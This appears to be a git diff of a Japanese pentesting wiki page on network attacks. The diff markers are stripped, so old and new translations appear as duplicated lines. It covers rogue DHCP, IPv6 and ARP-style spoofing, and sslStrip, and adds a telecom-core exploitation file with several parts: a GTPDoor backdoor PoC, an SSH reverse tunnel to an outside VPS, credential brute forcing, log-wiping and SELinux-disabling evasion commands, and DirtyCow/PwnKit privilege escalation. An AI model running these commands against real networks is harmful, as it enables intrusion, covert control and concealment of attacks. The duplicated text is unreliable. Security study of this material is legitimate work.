- **ローカルネットワークのネットマスク**: `-n 255.255.255.0` を使用して、ローカルネットワークのネットマスクを定義します。
|
||||
- **DHCPトラフィック用インターフェース**: `-I eth1` を使用して、特定のネットワークインターフェースでDHCPトラフィックをリッスンします。
|
||||
- **WPAD構成アドレス**: `-w “http://10.0.0.100/wpad.dat”` を使用して、ウェブトラフィックの傍受を支援するWPAD構成のアドレスを設定します。
|
||||
- **デフォルトゲートウェイIPを偽装**: `-S` を含めて、デフォルトゲートウェイIPアドレスを偽装します。
|
||||
- **すべてのDHCPリクエストに応答**: `-R` を含めて、サーバーがすべてのDHCPリクエストに応答するようにしますが、これはノイジーで検出される可能性があることに注意してください。
|
||||
- **私たちのIPアドレス(ゲートウェイ広告)**: `-i 10.0.0.100`を使用して、あなたのマシンのIPをゲートウェイとして広告します。
|
||||
- **ローカルDNSドメイン名**: オプションで、`-d example.org`を使用してローカルDNSドメイン名を設定します。
|
||||
- **元のルーター/ゲートウェイIP**: `-r 10.0.0.1`を使用して、正当なルーターまたはゲートウェイのIPアドレスを指定します。
|
||||
- **プライマリDNSサーバーIP**: `-p 10.0.0.100`を使用して、あなたが制御する不正なDNSサーバーのIPアドレスを設定します。
|
||||
- **セカンダリDNSサーバーIP**: オプションで、`-s 10.0.0.1`を使用してセカンダリDNSサーバーのIPを設定します。
|
||||
- **ローカルネットワークのネットマスク**: `-n 255.255.255.0`を使用して、ローカルネットワークのネットマスクを定義します。
|
||||
- **DHCPトラフィック用インターフェース**: `-I eth1`を使用して、特定のネットワークインターフェースでDHCPトラフィックをリッスンします。
|
||||
- **WPAD構成アドレス**: `-w “http://10.0.0.100/wpad.dat”`を使用して、ウェブトラフィックの傍受を支援するWPAD構成のアドレスを設定します。
|
||||
- **デフォルトゲートウェイIPを偽装**: `-S`を含めて、デフォルトゲートウェイのIPアドレスを偽装します。
|
||||
- **すべてのDHCPリクエストに応答**: `-R`を含めて、サーバーがすべてのDHCPリクエストに応答するようにしますが、これはノイジーで検出される可能性があることに注意してください。
|
||||
|
||||
これらのオプションを正しく使用することで、不正なDHCPサーバーを効果的に設定してネットワークトラフィックを傍受できます。
|
||||
これらのオプションを正しく使用することで、不正なDHCPサーバーを効果的に設定し、ネットワークトラフィックを傍受することができます。
|
||||
```python
|
||||
# Example to start a rogue DHCP server with specified options
|
||||
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
|
||||
@ -533,13 +533,13 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
- TLS証明書検証をバイパスするためにEAP-MD5認証を強制する
|
||||
- ハブや類似のものを使用して認証時に悪意のあるネットワークトラフィックを注入する
|
||||
|
||||
攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5にダウングレードし、認証試行をキャプチャしようとすることができます。その後、次の方法でブルートフォース攻撃を行うことができます:
|
||||
攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5にダウングレードし、認証試行をキャプチャしようとすることができます。その後、次の方法でこれをブルートフォースすることができます:
|
||||
```
|
||||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
|
||||
### FHRP (GLBP & HSRP) 攻撃 <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol) は、**ホット冗長ルーティングシステムを作成するために設計されたネットワークプロトコルのクラス**です。FHRPを使用すると、物理ルーターを単一の論理デバイスに統合でき、障害耐性が向上し、負荷の分散が助けられます。
|
||||
**FHRP** (First Hop Redundancy Protocol) は、**ホット冗長ルーティングシステムを作成する**ために設計されたネットワークプロトコルのクラスです。FHRPを使用すると、物理ルーターを単一の論理デバイスに統合でき、耐障害性が向上し、負荷の分散が助けられます。
|
||||
|
||||
**Cisco Systemsのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。**
|
||||
|
||||
@ -549,54 +549,54 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
ルーティング情報プロトコル(RIP)の3つのバージョンが存在することが知られています:RIP、RIPv2、およびRIPng。RIPとRIPv2はUDPポート520を使用してピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にデータグラムをブロードキャストします。MD5認証のサポートはRIPv2によって導入されました。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。
|
||||
ルーティング情報プロトコル (RIP) の3つのバージョンが存在します: RIP, RIPv2, およびRIPng。RIPとRIPv2はポート520を使用してUDP経由でピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にデータグラムをブロードキャストします。MD5認証のサポートはRIPv2によって導入されました。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。
|
||||
|
||||
- **RIPとRIPv2:** 通信はポート520のUDPデータグラムを介して行われます。
|
||||
- **RIPng:** IPv6マルチキャストを介してデータグラムをブロードキャストするためにUDPポート521を利用します。
|
||||
|
||||
RIPv2はMD5認証をサポートしている一方で、RIPngはネイティブ認証を含まず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。
|
||||
|
||||
### EIGRP Attacks
|
||||
### EIGRP 攻撃
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** は動的ルーティングプロトコルです。**これは距離ベクトルプロトコルです。** **認証**がなく、受動インターフェースの設定がない場合、**侵入者**はEIGRPルーティングに干渉し、**ルーティングテーブルの中毒**を引き起こす可能性があります。さらに、EIGRPネットワーク(言い換えれば、自律システム)は**フラットであり、ゾーンにセグメント化されていません**。**攻撃者がルートを注入**すると、そのルートは自律EIGRPシステム全体に**広がる**可能性があります。
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** は動的ルーティングプロトコルです。**距離ベクトルプロトコルです。** **認証**がなく、パッシブインターフェースの設定がない場合、**侵入者**がEIGRPルーティングに干渉し、**ルーティングテーブルの中毒**を引き起こす可能性があります。さらに、EIGRPネットワーク(言い換えれば、自律システム)は**フラットであり、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、そのルートは自律EIGRPシステム全体に**広がる**可能性があります。
|
||||
|
||||
EIGRPシステムを攻撃するには、**正当なEIGRPルーターとの隣接関係を確立する**必要があり、これにより基本的な偵察からさまざまな注入まで多くの可能性が開かれます。
|
||||
|
||||
[**FRRouting**](https://frrouting.org/)を使用すると、**BGP、OSPF、EIGRP、RIPなどのプロトコルをサポートする仮想ルーターを実装できます。** これを攻撃者のシステムに展開するだけで、実際にルーティングドメイン内の正当なルーターのふりをすることができます。
|
||||
[**FRRouting**](https://frrouting.org/)を使用すると、**BGP、OSPF、EIGRP、RIPおよびその他のプロトコルをサポートする仮想ルーターを実装できます。** これを攻撃者のシステムに展開するだけで、実際にルーティングドメイン内の正当なルーターのふりをすることができます。
|
||||
|
||||
{{#ref}}
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/)は、EIGRP(Enhanced Interior Gateway Routing Protocol)ブロードキャストを傍受する機能を持っています。また、パケットの注入を可能にし、ルーティング構成を変更するために利用できます。
|
||||
[**Coly**](https://code.google.com/p/coly/)は、EIGRP (Enhanced Interior Gateway Routing Protocol) ブロードキャストを傍受する機能を持っています。また、パケットの注入も可能で、これを利用してルーティング構成を変更できます。
|
||||
|
||||
### OSPF
|
||||
|
||||
Open Shortest Path First (OSPF) プロトコルでは、**ルーター間の安全な通信を確保するためにMD5認証が一般的に使用されます**。しかし、このセキュリティ対策は、LokiやJohn the Ripperのようなツールを使用して侵害される可能性があります。これらのツールはMD5ハッシュをキャプチャして解読することができ、認証キーを暴露します。このキーが取得されると、新しいルーティング情報を導入するために使用できます。ルートパラメータを設定し、侵害されたキーを確立するために、_Injection_および_Connection_タブがそれぞれ利用されます。
|
||||
Open Shortest Path First (OSPF) プロトコルでは、**MD5認証が一般的に使用され、ルーター間の安全な通信を確保します**。しかし、このセキュリティ対策は、LokiやJohn the Ripperのようなツールを使用して侵害される可能性があります。これらのツールはMD5ハッシュをキャプチャして解読することができ、認証キーを暴露します。このキーが取得されると、新しいルーティング情報を導入するために使用できます。ルートパラメータを設定し、侵害されたキーを確立するために、_Injection_ および _Connection_ タブがそれぞれ利用されます。
|
||||
|
||||
- **MD5ハッシュのキャプチャと解読:** この目的のためにLokiやJohn the Ripperのようなツールが使用されます。
|
||||
- **ルートパラメータの設定:** これは_Injection_タブを通じて行われます。
|
||||
- **侵害されたキーの設定:** キーは_Connection_タブで設定されます。
|
||||
- **MD5ハッシュのキャプチャと解読:** LokiやJohn the Ripperのようなツールがこの目的で使用されます。
|
||||
- **ルートパラメータの設定:** これは _Injection_ タブを通じて行われます。
|
||||
- **侵害されたキーの設定:** キーは _Connection_ タブで設定されます。
|
||||
|
||||
### Other Generic Tools & Sources
|
||||
### その他の一般的なツールとリソース
|
||||
|
||||
- [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンし、脆弱性を見つけるツール
|
||||
- **ネットワーク攻撃に関する** [**詳細情報**](https://github.com/Sab0tag3d/MITM-cheatsheet)を見つけることができます。
|
||||
- **ネットワーク攻撃に関する** [**詳細情報**](https://github.com/Sab0tag3d/MITM-cheatsheet) を見つけることができます。
|
||||
|
||||
## **Spoofing**
|
||||
## **スプーフィング**
|
||||
|
||||
攻撃者は、偽のDHCP応答を送信してネットワークの新しいメンバーのすべてのネットワークパラメータ(GW、IP、DNS)を設定します。
|
||||
攻撃者は、偽のDHCP応答を送信してネットワークの新しいメンバーのすべてのネットワークパラメータ (GW、IP、DNS) を設定します。
|
||||
```bash
|
||||
Ettercap
|
||||
yersinia dhcp -attack 2 #More parameters are needed
|
||||
```
|
||||
### ARP Spoofing
|
||||
|
||||
[前のセクション](#arp-spoofing)を確認してください。
|
||||
前のセクションを確認してください [previous section](#arp-spoofing).
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
ICMP Redirectは、攻撃者がIPに到達する最良の方法であることを示すICMPパケットタイプ1コード5を送信することから成ります。次に、被害者がIPに連絡したいとき、攻撃者を通じてパケットを送信します。
|
||||
ICMP Redirectは、攻撃者がIPに到達する最良の方法であることを示すICMPパケットタイプ1コード5を送信することから成ります。次に、被害者がそのIPに連絡を取りたいとき、攻撃者を通じてパケットを送信します。
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
@ -635,10 +635,10 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [LLMNR、NBT-NS、およびmDNSのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
DNSルックアップが失敗した場合のローカルホスト解決のために、Microsoftシステムは**Link-Local Multicast Name Resolution (LLMNR)**と**NetBIOS Name Service (NBT-NS)**に依存しています。同様に、**Apple Bonjour**および**Linuxゼロコンフィギュレーション**の実装は、ネットワーク内のシステムを発見するために**Multicast DNS (mDNS)**を利用します。これらのプロトコルは認証されておらず、UDP上でメッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。
|
||||
DNSルックアップが失敗した場合のローカルホスト解決のために、Microsoftシステムは**Link-Local Multicast Name Resolution (LLMNR)**および**NetBIOS Name Service (NBT-NS)**に依存しています。同様に、**Apple Bonjour**および**Linuxゼロコンフィギュレーション**の実装は、ネットワーク内のシステムを発見するために**Multicast DNS (mDNS)**を利用します。これらのプロトコルは認証されておらず、UDP上でメッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。
|
||||
|
||||
Responderを使用して、ホストによって検索されるサービスを偽装し、偽の応答を送信することができます。\
|
||||
[Responderを使用してサービスを偽装する方法](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)についての詳細をこちらでお読みください。
|
||||
Responderを使用してサービスを偽装する方法についての詳細は[こちらを読む](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
|
||||
|
||||
### [WPADのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
@ -648,11 +648,11 @@ Responderを使用して、ホストによって検索されるサービスを
|
||||
- **DNS**によって、ローカルドメイン内で_wpad_というラベルの付いたホスト名を検索します。
|
||||
- **Microsoft LLMNRおよびNBT-NS**を介して、DNSルックアップが成功しない場合に使用されるフォールバックメカニズムです。
|
||||
|
||||
ツールResponderは、このプロトコルを利用して**悪意のあるWPADサーバー**として機能します。DHCP、DNS、LLMNR、およびNBT-NSを使用して、クライアントを誤導して接続させます。Responderを使用してサービスを偽装する方法についてさらに詳しくは、[こちらを確認してください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
|
||||
ツールResponderは、このプロトコルを利用して**悪意のあるWPADサーバー**として機能します。DHCP、DNS、LLMNR、およびNBT-NSを使用して、クライアントを誤導して接続させます。Responderを使用してサービスを偽装する方法についてさらに詳しくは[こちらを確認してください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
|
||||
|
||||
### [SSDPおよびUPnPデバイスのスプーフィング](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
ネットワーク内で異なるサービスを提供し、**ユーザーを騙してプレーンテキストの認証情報を入力させる**ことができます。**この攻撃に関する詳細は、[**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**でご覧ください。**
|
||||
ネットワーク内で異なるサービスを提供して、**ユーザーを騙してプレーンテキストの認証情報を入力させる**ことができます。**この攻撃に関する詳細は** [**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**で。**
|
||||
|
||||
### IPv6隣接スプーフィング
|
||||
|
||||
@ -661,7 +661,7 @@ Responderを使用して、ホストによって検索されるサービスを
|
||||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||||
```
|
||||
### IPv6 ルーター広告のスプーフィング/フラッディング
|
||||
### IPv6ルーター広告のスプーフィング/フラッディング
|
||||
|
||||
一部のOSは、ネットワーク内で送信されたRAパケットからデフォルトでゲートウェイを設定します。攻撃者をIPv6ルーターとして宣言するには、次のコマンドを使用できます:
|
||||
```bash
|
||||
@ -671,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### IPv6 DHCPスプーフィング
|
||||
|
||||
デフォルトでは、一部のOSはネットワーク内のDHCPv6パケットを読み取ってDNSを構成しようとします。これにより、攻撃者は自分自身をDNSとして構成するためにDHCPv6パケットを送信することができます。DHCPはまた、被害者にIPv6を提供します。
|
||||
デフォルトでは、一部のOSはネットワーク内のDHCPv6パケットを読み取ってDNSを構成しようとします。これにより、攻撃者は自分自身をDNSとして構成するためにDHCPv6パケットを送信することができます。DHCPは被害者にIPv6も提供します。
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
@ -684,7 +684,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
基本的にこの攻撃が行うことは、**ユーザー**が**HTTPS**バージョンに**リダイレクト**される**HTTP**ページに**アクセス**しようとした場合です。**sslStrip**は**クライアントとのHTTP接続**と**サーバーとのHTTPS接続**を**維持**するため、**平文**で接続を**スニッフィング**することができます。
|
||||
基本的に、この攻撃が行うことは、**ユーザー**が**HTTPS**バージョンに**リダイレクト**される**HTTP**ページに**アクセス**しようとした場合です。**sslStrip**は**クライアントとのHTTP接続**と**サーバーとのHTTPS接続**を**維持**するため、**プレーンテキスト**で接続を**スニッフィング**することができます。
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -697,14 +697,14 @@ More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Bla
|
||||
|
||||
### sslStrip+ と dns2proxy を使用した HSTS バイパス
|
||||
|
||||
**sslStrip+ と dns2proxy** の **違い** は、**sslStrip** に対して、例えば _**www.facebook.com**_ を _**wwww.facebook.com**_ **にリダイレクト** し(**追加の** "**w**" に注意)、このドメインの **アドレスを攻撃者の IP** に設定することです。この方法で、**クライアント** は _**wwww.facebook.com**_ **(攻撃者)** に **接続** しますが、裏では **sslstrip+** が **www.facebook.com** との **実際の接続** を **維持** します。
|
||||
**sslStrip+ と dns2proxy** の **違い** は、**sslStrip** に対して、例えば _**www.facebook.com**_ を _**wwww.facebook.com**_ **にリダイレクト** し(**追加の** "**w**" に注意)、このドメインの **アドレスを攻撃者の IP** に設定することです。このようにして、**クライアント** は _**wwww.facebook.com**_ **(攻撃者)** に **接続** しますが、裏では **sslstrip+** が **www.facebook.com** との **実際の接続** を **維持** します。
|
||||
|
||||
この技術の **目的** は **HSTS を回避する** ことで、_**wwww**.facebook.com_ **は** ブラウザの **キャッシュ** に保存されないため、ブラウザは **HTTP での facebook 認証を実行するように騙されます**。\
|
||||
この攻撃を実行するには、被害者が最初に [http://www.faceook.com](http://www.faceook.com) にアクセスしなければならないことに注意してください。これは、http ページ内のリンクを修正することで実行できます。
|
||||
この攻撃を実行するには、犠牲者が最初に [http://www.faceook.com](http://www.faceook.com) にアクセスしなければならないことに注意してください。これは、http ページ内のリンクを変更することで実行できます。
|
||||
|
||||
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip または sslStrip+ はもう機能しません。これは、ブラウザに事前保存された HSTS ルールがあるため、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPS 経由でアクセスされます。また、事前保存されたルールや他の生成されたルールは、** [**`includeSubdomains`**](https://hstspreload.appspot.com) **フラグを使用する可能性があるため、以前の _**wwww.facebook.com**_ の例は、_**facebook.com**_ が `includeSubdomains` で HSTS を使用しているため、もはや機能しません。**
|
||||
**sslStrip または sslStrip+ はもう機能しません。これは、ブラウザに事前保存された HSTS ルールがあるためで、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPS 経由でアクセスします。また、事前保存されたルールや他の生成されたルールは、** [**`includeSubdomains`**](https://hstspreload.appspot.com) **フラグを使用する可能性があるため、以前の** _**wwww.facebook.com**_ **の例は、** _**facebook.com**_ **が `includeSubdomains` で HSTS を使用しているため、もはや機能しません。**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
時には、クライアントがCAが有効であることを確認すると、**CAによって署名された他のホスト名の証明書を提供する**ことができます。\
|
||||
もう一つの興味深いテストは、**要求されたホスト名の証明書を自己署名で提供する**ことです。
|
||||
|
||||
他にテストすることは、有効なCAではない有効な証明書で証明書に署名しようとすることです。または、有効な公開鍵を使用し、Diffie-Hellmanのようなアルゴリズムを強制的に使用し(実際の秘密鍵で何も復号化する必要がないもの)、クライアントが実際の秘密鍵のプローブ(ハッシュのような)を要求したときに、偽のプローブを送信し、クライアントがこれを確認しないことを期待します。
|
||||
他にテストすることは、有効なCAではない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用し、Diffie-Hellmanのようなアルゴリズムを強制的に使用し(実際の秘密鍵で何も復号化する必要がないもの)、クライアントが実際の秘密鍵のプローブ(ハッシュのような)を要求したときに、偽のプローブを送信し、クライアントがこれをチェックしないことを期待します。
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -794,13 +794,17 @@ Bettercapは、すべての種類のサービスを検索するSSDPパケット
|
||||
|
||||
Bettercapは、サービスを検索するWSDパケットをブロードキャストします(UDPポート3702)。
|
||||
|
||||
### テレコム / モバイルコア(GTP)エクスプロイト
|
||||
|
||||
{{#ref}}
|
||||
telecom-network-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- **ネットワークセキュリティ評価: ネットワークを知る(第3版)**
|
||||
- **実践的IoTハッキング: モノのインターネットを攻撃するための決定版ガイド。著者: Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- **実践的IoTハッキング: IoT攻撃の決定版ガイド。著者: Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> モバイルコアプロトコル(GPRSトンネリングプロトコル - GTP)は、しばしば半信頼のGRX/IPXローミングバックボーンを通過します。ほとんど認証がないプレーンUDP上で動作するため、**テレコムの境界内にある任意の足場は通常、コア信号プレーンに直接到達できます**。以下のノートは、SGSN/GGSN、PGW/SGWおよび他のEPCノードに対して実際に観察された攻撃的なトリックを集めています。
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
驚くほど多くのベンダーネットワーク要素は、`root:admin`、`dbadmin:dbadmin`、`cacti:cacti`、`ftpuser:ftpuser`などのハードコーディングされたSSH/Telnetユーザーと共に出荷されます。専用のワードリストはブルートフォースの成功率を大幅に向上させます:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
デバイスが管理VRFのみを公開している場合は、最初にジャンプホストを介してピボットします(下の「SGSN Emu Tunnel」セクションを参照)。
|
||||
|
||||
### 1.2 GRX/IPX内のホスト発見
|
||||
ほとんどのGRXオペレーターは、バックボーン全体で**ICMPエコー**を許可しています。 `masscan`を組み合わせて、組み込みの`gtpv1` UDPプローブを使用して、GTP-Cリスナーを迅速にマッピングします:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. サブスクライバーの列挙 – `cordscan`
|
||||
|
||||
以下のGoツールは、**GTP-C Create PDP Context Request**パケットを作成し、応答をログに記録します。各応答は、クエリされたIMSIにサービスを提供している現在の**SGSN / MME**を明らかにし、時にはサブスクライバーの訪問したPLMNも示します。
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
重要なフラグ:
|
||||
- `--imsi` 対象の加入者IMSI
|
||||
- `--oper` ホーム / HNI (MCC+MNC)
|
||||
- `-w` 生のパケットをpcapに書き込む
|
||||
|
||||
バイナリ内の重要な定数は、スキャンを広げるためにパッチを当てることができます:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. コード実行 over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` は、**UDP 2123 にバインドし、すべての受信 GTP-C パケットを解析する**小さな ELF サービスです。ペイロードが事前共有タグで始まると、残りは復号化され(AES-128-CBC)、`/bin/sh -c` を介して実行されます。stdout/stderr は **Echo Response** メッセージ内に外部セッションが作成されることなく流出されます。
|
||||
|
||||
最小限の PoC パケット (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
検出:
|
||||
* **不均衡なエコーリクエスト**をSGSN IPに送信するホスト
|
||||
* メッセージタイプ = 1 (エコー) のときにGTPバージョンフラグが1に設定されている – 仕様からの逸脱
|
||||
|
||||
## 4. コアを通じたピボット
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN`は、**実際のGGSN/PGWに向けてPDPコンテキストを確立することができるSGSNエミュレーター**を出荷します。交渉が完了すると、Linuxはローミングピアから到達可能な新しい`tun0`インターフェースを受け取ります。
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
適切なファイアウォールのヘアピンニングにより、このトンネルはシグナリング専用VLANをバイパスし、直接**データプレーン**に到達します。
|
||||
|
||||
### 4.2 ポート53経由のSSHリバーストンネル
|
||||
DNSは、ローミングインフラストラクチャではほぼ常にオープンです。内部SSHサービスをVPSに公開し、:53でリッスンし、後で自宅から戻ります:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
`GatewayPorts yes`がVPSで有効になっていることを確認してください。
|
||||
|
||||
## 5. 隠れたチャネル
|
||||
|
||||
| チャネル | トランスポート | デコーディング | ノート |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4バイトキー + 14バイトチャンク(XOR) | 完全なパッシブリスナー、外向きトラフィックなし |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR(キー = `funnyAndHappy`)Aレコードオクテットにエンコード | `*.nodep`サブドメインを監視 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | プライベートIE内のAES-128-CBCブロブ | 正当なGTP-Cチャッターと混在 |
|
||||
|
||||
すべてのインプラントは、**タイムスタンプ**を変更し、クラッシュした場合は再生成するウォッチドッグを実装しています。
|
||||
|
||||
## 6. 防御回避チートシート
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
|
||||
# Disable bash history
|
||||
export HISTFILE=/dev/null
|
||||
|
||||
# Masquerade as kernel thread
|
||||
echo 0 > /proc/$$/autogroup # hide from top/htop
|
||||
printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. レガシーNEにおける特権昇格
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
|
||||
# PwnKit – CVE-2021-4034
|
||||
python3 PwnKit.py
|
||||
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
クリーンアップのヒント:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. ツールボックス
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 前のセクションで説明されたカスタムツール。
|
||||
* `FScan` : intranet TCP スイープ (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS ローグ WPAD
|
||||
* `Microsocks` + `ProxyChains` : 軽量な SOCKS5 ピボット
|
||||
* `FRP` (≥0.37) : NAT トラバーサル / アセットブリッジング
|
||||
|
||||
---
|
||||
## 検出アイデア
|
||||
1. **SGSN/GGSN 以外のデバイスが Create PDP Context Requests を確立すること**。
|
||||
2. **内部 IP からの SSH ハンドシェイクを受信する非標準ポート (53, 80, 443)**。
|
||||
3. **対応する Echo Response なしの頻繁な Echo Requests** – GTPDoor ビーコンを示す可能性があります。
|
||||
4. **大きく、ゼロ以外の識別子/シーケンスフィールドを持つ ICMP エコー応答トラフィックの高いレート**。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Palo Alto Unit42 – グローバル通信ネットワークの侵入](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS トンネリングプロトコル (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -35,7 +35,7 @@ session required /lib/security/pam_unix_session.so
|
||||
|
||||
#### **PAMモジュール制御**
|
||||
|
||||
制御は、成功または失敗に対するモジュールの応答を決定し、全体の認証プロセスに影響を与えます。これには以下が含まれます:
|
||||
制御はモジュールの成功または失敗に対する応答を決定し、全体の認証プロセスに影響を与えます。これには以下が含まれます:
|
||||
|
||||
